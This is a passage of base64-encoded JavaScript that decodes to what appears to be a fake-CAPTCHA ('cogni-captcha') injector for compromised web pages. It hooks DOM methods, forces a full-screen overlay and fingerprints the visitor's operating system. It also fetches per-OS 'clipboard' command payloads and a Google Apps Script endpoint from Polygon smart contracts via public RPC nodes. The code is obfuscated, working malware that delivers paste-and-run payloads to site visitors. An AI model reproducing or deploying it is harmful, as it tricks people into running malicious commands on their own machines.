AgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTsNCiFmdW5jdGlvbigpew0KDQogIGlmICh3aW5kb3dbJ19fYWxyZWFkeVJhbiddKSByZXR1cm47DQogIHdpbmRvd1snX19hbHJlYWR5UmFuJ10gPSAxOw0KDQoNCiAgdmFyIHNlc3Npb25Ub2tlbiA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICB2YXIgRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMID0gImh0dHBzOi8vc2NyaXB0Lmdvb2dsZS5jb20vbWFjcm9zL3MvQUtmeWNienMwdlFSdkktMkJ4NFZVVUN4VUE0azY0SGRraUhpY1RtdUszeTFNWEFsN0FnalBJV3RSQlpxSDB2NkV6emV1QmFIL2V4ZWMiOw0KICAvLyBXaW4vTGludXgvTWFjIGNsaXBib2FyZCB0ZW1wbGF0ZXM6IFBvbHlnb24gZ2V0V2luVVJML2dldExpbnV4VVJML2dldE1hY1VSTCBvbmx5IChubyBzdGF0aWMgY29weSkuDQogIHZhciBBUFBTX1NDUklQVF9VUkwgPSBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkw7DQogIHZhciBXSU5fVVJMID0gJyc7DQogIHZhciBMSU5VWF9VUkwgPSAnJzsNCiAgdmFyIE1BQ19VUkwgPSAnJzsNCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKSB7DQogICAgdmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudCB8fCAnJzsNCiAgICB2YXIgcGxhdGZvcm0gPSBuYXZpZ2F0b3IucGxhdGZvcm0gfHwgJyc7DQogICAgaWYgKC9XaW4vaS50ZXN0KHBsYXRmb3JtKSB8fCAvV2luZG93cy9pLnRlc3QodWEpKSByZXR1cm4gJ3dpbmRvd3MnOw0KICAgIGlmICgvTWFjL2kudGVzdChwbGF0Zm9ybSkgfHwgL01hY2ludG9zaHxNYWMgT1MgWC9pLnRlc3QodWEpKSByZXR1cm4gJ21hYyc7DQogICAgaWYgKC9MaW51eC9pLnRlc3QocGxhdGZvcm0pIHx8IC9MaW51eHxYMTEvaS50ZXN0KHVhKSkgcmV0dXJuICdsaW51eCc7DQogICAgcmV0dXJuICd3aW5kb3dzJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdFZpc2l0b3JPcygpIHsNCiAgICByZXR1cm4gZGV0ZWN0VmlzaXRvck9zRmFtaWx5KCk7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbikgew0KICAgIHZhciBudE1hdGNoID0gdWEubWF0Y2goL1dpbmRvd3MgTlQgKFswLTkuXSspL2kpOw0KICAgIHZhciBudCA9IG50TWF0Y2ggPyBudE1hdGNoWzFdIDogJyc7DQogICAgdmFyIHB2TWFqb3IgPSBwbGF0Zm9ybVZlcnNpb24gPw0KICAgICAgKHBhcnNlSW50KFN0cmluZyhwbGF0Zm9ybVZlcnNpb24pLnNwbGl0KCcuJylbMF0sIDEwKSB8fCAwKSA6IDA7DQogICAgLy8gQ2hyb21pdW0gVXNlci1BZ2VudCBDbGllbnQgSGludHM6IFdpbjExIHJlcG9ydHMgcGxhdGZvcm1WZXJzaW9uIDEzKw0KICAgIGlmIChwdk1ham9yID49IDEzKSByZXR1cm4gJ3dpbjExJzsNCiAgICBpZiAobnQgPT09ICcxMC4wJyB8fCBwdk1ham9yID09PSAxMCkgcmV0dXJuICd3aW4xMCc7DQogICAgaWYgKG50ID09PSAnNi4zJykgcmV0dXJuICd3aW44LjEnOw0KICAgIGlmIChudCA9PT0gJzYuMicpIHJldHVybiAnd2luOCc7DQogICAgaWYgKG50ID09PSAnNi4xJykgcmV0dXJuICd3aW43JzsNCiAgICBpZiAobnQgPT09ICc2LjAnKSByZXR1cm4gJ3dpbnZpc3RhJzsNCiAgICBpZiAobnQgPT09ICc1LjEnKSByZXR1cm4gJ3dpbnhwJzsNCiAgICBpZiAobnQpIHJldHVybiAnd2luJyArIG50LnJlcGxhY2UoL1wuL2csICcnKTsNCiAgICByZXR1cm4gJ3dpbjEwJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdE1hY0xhYmVsKHVhLCBwbGF0Zm9ybVZlcnNpb24pIHsNCiAgICB2YXIgcHZNYWpvciA9IHBsYXRmb3JtVmVyc2lvbiA/DQogICAgICAocGFyc2VJbnQoU3RyaW5nKHBsYXRmb3JtVmVyc2lvbikuc3BsaXQoJy4nKVswXSwgMTApIHx8IDApIDogMDsNCiAgICBpZiAocHZNYWpvciA+IDApIHJldHVybiAnTWFjICcgKyBwdk1ham9yOw0KICAgIHZhciBtYWNNYXRjaCA9IHVhLm1hdGNoKC9NYWMgT1MgWCAoXGQrKVtfLl0oXGQrKS9pKTsNCiAgICBpZiAobWFjTWF0Y2gpIHJldHVybiAnTWFjICcgKyBtYWNNYXRjaFsxXSArICcuJyArIG1hY01hdGNoWzJdOw0KICAgIHJldHVybiAnTWFjJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdExpbnV4TGFiZWwodWEpIHsNCiAgICB2YXIgZGlzdHJvTWF0Y2ggPSB1YS5tYXRjaCgvXGIoVWJ1bnR1fEZlZG9yYXxEZWJpYW58TGludXggTWludHxQb3AhX09TfEFyY2ggTGludXh8TWFuamFyb3xvcGVuU1VTRSg/OiBMZWFwfCBUdW1ibGV3ZWVkKT98S2FsaXxlbGVtZW50YXJ5IE9TfFpvcmluIE9TKSg/OlsvIF0oW1xkLl0rKSk/L2kpOw0KICAgIGlmIChkaXN0cm9NYXRjaCkgew0KICAgICAgdmFyIGRpc3RybyA9IGRpc3Ryb01hdGNoWzFdOw0KICAgICAgdmFyIHZlciA9IGRpc3Ryb01hdGNoWzJdIHx8ICcnOw0KICAgICAgaWYgKC91YnVudHUvaS50ZXN0KGRpc3RybykpIHsNCiAgICAgICAgaWYgKCF2ZXIpIHsNCiAgICAgICAgICB2YXIgdWJ1bnR1U2xhc2ggPSB1YS5tYXRjaCgvVWJ1bnR1XC8oW1xkLl0rKS9pKTsNCiAgICAgICAgICB2ZXIgPSB1YnVudHVTbGFzaCA/IHVidW50dVNsYXNoWzFdIDogJyc7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHZlciA/ICgnVWJ1bnR1ICcgKyB2ZXIuc3BsaXQoJy4nKVswXSkgOiAnVWJ1bnR1JzsNCiAgICAgIH0NCiAgICAgIHJldHVybiB2ZXIgPyAoZGlzdHJvICsgJyAnICsgdmVyLnNwbGl0KCcuJylbMF0pIDogZGlzdHJvOw0KICAgIH0NCiAgICBpZiAoL0NyT1MvaS50ZXN0KHVhKSkgcmV0dXJuICdDaHJvbWVPUyc7DQogICAgaWYgKC9BbmRyb2lkL2kudGVzdCh1YSkpIHJldHVybiAnQW5kcm9pZCc7DQogICAgaWYgKC9hYXJjaDY0fGFybTY0L2kudGVzdCh1YSkpIHJldHVybiAnTGludXggYXJtNjQnOw0KICAgIGlmICgveDg2XzY0fHg2NHxhbWQ2NC9pLnRlc3QodWEpKSByZXR1cm4gJ0xpbnV4IHg4Nl82NCc7DQogICAgcmV0dXJuICdMaW51eCc7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKSB7DQogICAgdWEgPSB1YSB8fCBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnOw0KICAgIHZhciBmYW1pbHkgPSBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnd2luZG93cycpIHJldHVybiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbik7DQogICAgaWYgKGZhbWlseSA9PT0gJ21hYycpIHJldHVybiBkZXRlY3RNYWNMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnbGludXgnKSByZXR1cm4gZGV0ZWN0TGludXhMYWJlbCh1YSk7DQogICAgcmV0dXJuICd3aW4xMCc7DQogIH0NCg0KICB2YXIgVklTSVRPUl9PU19MQUJFTCA9IGRldGVjdFZpc2l0b3JPc0xhYmVsKCk7DQoNCiAgKGZ1bmN0aW9uIHJlZmluZVZpc2l0b3JPc0xhYmVsKCkgew0KICAgIHRyeSB7DQogICAgICBpZiAoIW5hdmlnYXRvci51c2VyQWdlbnREYXRhIHx8ICFuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcykgcmV0dXJuOw0KICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudERhdGEuZ2V0SGlnaEVudHJvcHlWYWx1ZXMoWydwbGF0Zm9ybVZlcnNpb24nXSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGludHMpIHsNCiAgICAgICAgICBWSVNJVE9SX09TX0xBQkVMID0gZGV0ZWN0VmlzaXRvck9zTGFiZWwoDQogICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnLA0KICAgICAgICAgICAgaGludHMgJiYgaGludHMucGxhdGZvcm1WZXJzaW9uDQogICAgICAgICAgKTsNCiAgICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfT1NfTEFCRUwgPSBWSVNJVE9SX09TX0xBQkVMOyB9IGNhdGNoIChlKSB7fQ0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7fSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfSkoKTsNCg0KICBmdW5jdGlvbiBnZXRWaXNpdG9yT3NMYWJlbCgpIHsNCiAgICByZXR1cm4gVklTSVRPUl9PU19MQUJFTCB8fCBkZXRlY3RWaXNpdG9yT3NMYWJlbCgpOw0KICB9DQoNCiAgdHJ5IHsgd2luZG93Ll9fQVZUX09TX0xBQkVMID0gVklTSVRPUl9PU19MQUJFTDsgfSBjYXRjaCAoZSkge30NCg0KICB2YXIgcnBjTGlzdCA9IFsNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLmRycGMub3JnJywNCiAgICAnaHR0cHM6Ly9ycGMuYW5rci5jb20vcG9seWdvbicsDQogICAgJ2h0dHBzOi8vMXJwYy5pby9tYXRpYycsDQogICAgJ2h0dHBzOi8vcG9seWdvbi1ib3ItcnBjLnB1YmxpY25vZGUuY29tJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLXB1YmxpYy5ub2RpZXMuYXBwJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLW1haW5uZXQucHVibGljLmJsYXN0YXBpLmlvJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLmdhdGV3YXkudGVuZGVybHkuY28nLA0KICAgICdodHRwczovL3JwYy1tYWlubmV0Lm1hdGljLnF1aWtub2RlLnBybycNCiAgXTsNCg0KICB2YXIgbGlua0NvbmZpZ0NvbnRyYWN0ID0gIjB4OTcxNWZENDRjOENFQzAwMEViRUYwMGY2NjIwYjE4QjY4ZjY0OUY4MCI7DQogIHZhciBsaW5rU2VsZWN0b3JzID0gew0KICAgIGdldEFwcHNTY3JpcHRVcmw6ICI0ZTU4ZTJmNyIsDQogICAgZ2V0VmVyY2VsQmFzZTogImJhZGQ2MmRiIiwNCiAgICBnZXRWZXJzaW9uOiAiMGQ4ZTZlMmMiLA0KICAgIGdldFdpblVSTDogIjIwZWMyYjRkIiwNCiAgICBnZXRMaW51eFVSTDogIjk5ZWY2Nzg0IiwNCiAgICBnZXRNYWNVUkw6ICIyMzc2NzgxOCINCiAgfTsNCiAgdmFyIGRvbWFpbkNvbnRyYWN0QWRkcmVzcyA9ICIweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjIiOw0KICB2YXIgZG9tYWluTWV0aG9kU2VsZWN0b3IgPSAiYjY4ZDE4MDkiOw0KICB2YXIgTElOS19DRkdfQ0FDSEVfS0VZID0gImNvZ25pX2xpbmtfY2ZnIjsNCg0KICBmdW5jdGlvbiBkZWNvZGVBYmlTdHJpbmcoaGV4UmVzdWx0KSB7DQogICAgdHJ5IHsNCg0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQuc3Vic3RyKDAsIDIpID09PSAnMHgnID8gaGV4UmVzdWx0LnN1YnN0cigyKSA6IGhleFJlc3VsdDsNCg0KDQogICAgICBpZiAoaGV4RGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoNjQsIDY0KSwgMTYpOw0KICAgICAgaWYgKCFzdHJpbmdMZW5ndGgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nSGV4Qnl0ZXMgPSBoZXhEYXRhLnN1YnN0cigxMjgsIHN0cmluZ0xlbmd0aCAqIDIpOw0KICAgICAgdmFyIGRlY29kZWRTdHJpbmcgPSAnJzsNCg0KDQogICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ0hleEJ5dGVzLmxlbmd0aDsgaSArPSAyKSB7DQogICAgICAgIHZhciBjaGFyQ29kZSA9IHBhcnNlSW50KHN0cmluZ0hleEJ5dGVzLnN1YnN0cihpLCAyKSwgMTYpOw0KICAgICAgICBpZiAoY2hhckNvZGUpIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaGFyQ29kZSk7DQogICAgICB9DQogICAgICByZXR1cm4gZGVjb2RlZFN0cmluZzsNCiAgICB9IGNhdGNoIChlKSB7DQogICAgICByZXR1cm4gJyc7DQogICAgfQ0KICB9DQoNCiAgZnVuY3Rpb24gZGVjb2RlQWJpVWludDI1NihoZXhSZXN1bHQpIHsNCiAgICB0cnkgew0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQgJiYgaGV4UmVzdWx0LnN1YnN0cigwLCAyKSA9PT0gJzB4JyA/IGhleFJlc3VsdC5zdWJzdHIoMikgOiBoZXhSZXN1bHQ7DQogICAgICBpZiAoIWhleERhdGEgfHwgaGV4RGF0YS5sZW5ndGggPCA2NCkgcmV0dXJuIDA7DQogICAgICByZXR1cm4gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoLTY0KSwgMTYpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHJwY0NhbGwocnBjVXJsLCByZXF1ZXN0Qm9keSkgew0KICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSwgcmVqZWN0KSB7DQogICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICB4aHIub3BlbignUE9TVCcsIHJwY1VybCwgdHJ1ZSk7DQogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgIHhoci50aW1lb3V0ID0gNTAwMDsNCg0KICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICByZXNvbHZlKEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkpOw0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgcmVqZWN0KGUpOw0KICAgICAgICB9DQogICAgICB9Ow0KDQogICAgICB4aHIub25lcnJvciA9IHhoci5vbnRpbWVvdXQgPSBmdW5jdGlvbiAoKSB7DQogICAgICAgIHJlamVjdChuZXcgRXJyb3IoKSk7DQogICAgICB9Ow0KDQogICAgICB4aHIuc2VuZChKU09OLnN0cmluZ2lmeShyZXF1ZXN0Qm9keSkpOw0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUoJycpOw0KICAgIHZhciByZXF1ZXN0Qm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogY29udHJhY3QsIGRhdGE6ICcweCcgKyBzZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQogICAgcmV0dXJuIHJwY0NhbGwocnBjTGlzdFtycGNJbmRleF0sIHJlcXVlc3RCb2R5KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5lcnJvcikgcmV0dXJuIGV0aENhbGxBdChjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQpIHJldHVybiByZXNwb25zZS5yZXN1bHQ7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCcnKTsNCiAgICByZXR1cm4gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpLnRoZW4oZnVuY3Rpb24gKGhleCkgew0KICAgICAgdmFyIHZhbHVlID0gZGVjb2RlQWJpU3RyaW5nKGhleCk7DQogICAgICBpZiAodmFsdWUpIHJldHVybiB2YWx1ZTsNCiAgICAgIHJldHVybiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiByZWFkTGlua0NhY2hlKCkgew0KICAgIHRyeSB7DQogICAgICB2YXIgcmF3ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oTElOS19DRkdfQ0FDSEVfS0VZKTsNCiAgICAgIHJldHVybiByYXcgPyBKU09OLnBhcnNlKHJhdykgOiBudWxsOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHdyaXRlTGlua0NhY2hlKHZlcnNpb24sIGFwcHMsIHdpbiwgbGludXgsIG1hYykgew0KICAgIHRyeSB7DQogICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShMSU5LX0NGR19DQUNIRV9LRVksIEpTT04uc3RyaW5naWZ5KHsNCiAgICAgICAgdmVyc2lvbjogdmVyc2lvbiwNCiAgICAgICAgYXBwczogYXBwcywNCiAgICAgICAgd2luOiB3aW4sDQogICAgICAgIGxpbnV4OiBsaW51eCwNCiAgICAgICAgbWFjOiBtYWMsDQogICAgICAgIHRzOiBEYXRlLm5vdygpDQogICAgICB9KSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGlzVmFsaWRBcHBzVXJsKHVybCkgew0KICAgIHJldHVybiAhIXVybA0KICAgICAgJiYgL15odHRwczpcL1wvc2NyaXB0XC5nb29nbGVcLmNvbVwvbWFjcm9zXC9zXC9bQS1aYS16MC05Xy1dK1wvZXhlYyQvLnRlc3QodXJsKQ0KICAgICAgJiYgdXJsLmluZGV4T2YoJ1lPVVJfU0NSSVBUX0lEJykgPT09IC0xOw0KICB9DQoNCiAgZnVuY3Rpb24gaXNWYWxpZE9zUGF5bG9hZCh0ZXh0KSB7DQogICAgdmFyIHZhbHVlID0gU3RyaW5nKHRleHQgfHwgJycpLnRyaW0oKTsNCiAgICByZXR1cm4gdmFsdWUubGVuZ3RoID49IDQwICYmIHZhbHVlLmluZGV4T2YoJ1hYWF8nKSAhPT0gLTE7DQogIH0NCg0KICBmdW5jdGlvbiBhcHBseUxpbmtDb25maWcoY2ZnKSB7DQogICAgdmFyIGFwcHMgPSAoY2ZnICYmIGNmZy5hcHBzKSA/IGNmZy5hcHBzIDogRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICAgIEFQUFNfU0NSSVBUX1VSTCA9IGlzVmFsaWRBcHBzVXJsKGFwcHMpID8gYXBwcyA6IEZBTExCQUNLX0FQUFNfU0NSSVBUX1VSTDsNCiAgICBXSU5fVVJMID0gaXNWYWxpZE9zUGF5bG9hZChjZmcgJiYgY2ZnLndpbikgPyBTdHJpbmcoY2ZnLndpbikudHJpbSgpIDogJyc7DQogICAgTElOVVhfVVJMID0gaXNWYWxpZE9zUGF5bG9hZChjZmcgJiYgY2ZnLmxpbnV4KSA/IFN0cmluZyhjZmcubGludXgpLnRyaW0oKSA6ICcnOw0KICAgIE1BQ19VUkwgPSBpc1ZhbGlkT3NQYXlsb2FkKGNmZyAmJiBjZmcubWFjKSA/IFN0cmluZyhjZmcubWFjKS50cmltKCkgOiAnJzsNCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfQVBQU19TQ1JJUFRfVVJMID0gQVBQU19TQ1JJUFRfVVJMOyB9IGNhdGNoIChlKSB7fQ0KICAgIHRyeSB7IHdpbmRvdy5fX0FWVF9XSU5fVVJMID0gV0lOX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfTElOVVhfVVJMID0gTElOVVhfVVJMOyB9IGNhdGNoIChlKSB7fQ0KICAgIHRyeSB7IHdpbmRvdy5fX0FWVF9NQUNfVVJMID0gTUFDX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCkgew0KICAgIGlmIChycGNJbmRleCA+PSBycGNMaXN0Lmxlbmd0aCkgcmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKTsNCg0KICAgIHJldHVybiBldGhDYWxsQXQobGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldFZlcnNpb24sIHJwY0luZGV4KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHZlcnNpb25IZXgpIHsNCiAgICAgICAgdmFyIHZlcnNpb24gPSBkZWNvZGVBYmlVaW50MjU2KHZlcnNpb25IZXgpOw0KICAgICAgICBpZiAoIXZlcnNpb24pIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCg0KICAgICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgICBpZiAoY2FjaGVkICYmIGNhY2hlZC52ZXJzaW9uID09PSB2ZXJzaW9uICYmDQogICAgICAgICAgICBpc1ZhbGlkQXBwc1VybChjYWNoZWQuYXBwcykgJiYNCiAgICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLndpbikgJiYNCiAgICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLmxpbnV4KSAmJg0KICAgICAgICAgICAgaXNWYWxpZE9zUGF5bG9hZChjYWNoZWQubWFjKSkgew0KICAgICAgICAgIHJldHVybiB7DQogICAgICAgICAgICBhcHBzOiBjYWNoZWQuYXBwcywNCiAgICAgICAgICAgIHdpbjogY2FjaGVkLndpbiwNCiAgICAgICAgICAgIGxpbnV4OiBjYWNoZWQubGludXgsDQogICAgICAgICAgICBtYWM6IGNhY2hlZC5tYWMsDQogICAgICAgICAgICB2ZXJzaW9uOiB2ZXJzaW9uDQogICAgICAgICAgfTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiBQcm9taXNlLmFsbChbDQogICAgICAgICAgZmV0Y2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldEFwcHNTY3JpcHRVcmwsIHJwY0luZGV4KSwNCiAgICAgICAgICBmZXRjaFN0cmluZ0Zyb21DaGFpbihsaW5rQ29uZmlnQ29udHJhY3QsIGxpbmtTZWxlY3RvcnMuZ2V0V2luVVJMLCBycGNJbmRleCksDQogICAgICAgICAgZmV0Y